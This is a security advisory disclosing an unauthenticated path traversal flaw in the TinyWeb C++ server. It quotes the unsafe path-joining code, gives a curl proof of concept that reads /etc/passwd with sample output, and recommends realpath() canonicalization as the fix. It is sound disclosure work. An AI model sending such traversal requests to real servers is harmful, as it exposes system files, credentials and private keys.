
Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)
Assigned CVE ID: CVE-2026-67185
TinyWeb builds the path of the file to serve by joining the web root with the request URL exactly as it arrives, with no normalization. A remote client that has never authenticated can insert ../ sequences into the request line and read any file the server process can open, including files outside the web root.
TnyWeb/0.0.80b3b5fd (2019-01-09), where the path is first assembled this way, through a381da2 (2023-11-22, latest on master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NAn unauthenticated remote attacker who can reach the server's listening TCP port (9090 in the shipped configuration). No credentials, no user interaction, and no prior access are required. A single request is enough.
HttpBuilder::buildResponse() starts with the configured web root and appends the URL path field straight from the parsed request:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
Between the join at line 86 and the filesystem call at line 94 there is no dot-segment removal (RFC 3986 section 5.2.4), no realpath() canonicalization, and no check that the result stays inside server.www.
The URL parser does not filter .. either. In HttpParser::parseUrlChar() the path state accepts any character that passes isUrlChar(), and . is a valid URL character, so ../ reaches buildResponse() unchanged:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile() then opens and serves whatever path was produced, using the privileges of the server process:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Note: TinyWeb never percent-decodes the URL path, so %2e%2e%2f does not work. The literal ../ form does.
Start the server with the shipped configuration (listening on port 9090, serving from the configured web root).
Send a request whose path climbs above the web root. The --path-as-is flag stops curl from collapsing the ../ before sending:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK with the contents of /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
The number of ../ segments needed depends on how deep the web root sits. Any count at or above the web root depth works, because the kernel ignores .. at the filesystem root.
Any remote client can read any file the server process is allowed to open. In the default setup the workers run as root, so this includes /etc/shadow, TLS private keys, configuration files with credentials, and the application's own source under the web root.
Canonicalize the joined path with realpath() and reject the request unless the result is inside the configured web root. As defense in depth, remove dot-segments during URL parsing per RFC 3986 section 5.2.4, and percent-decode the path before that normalization runs.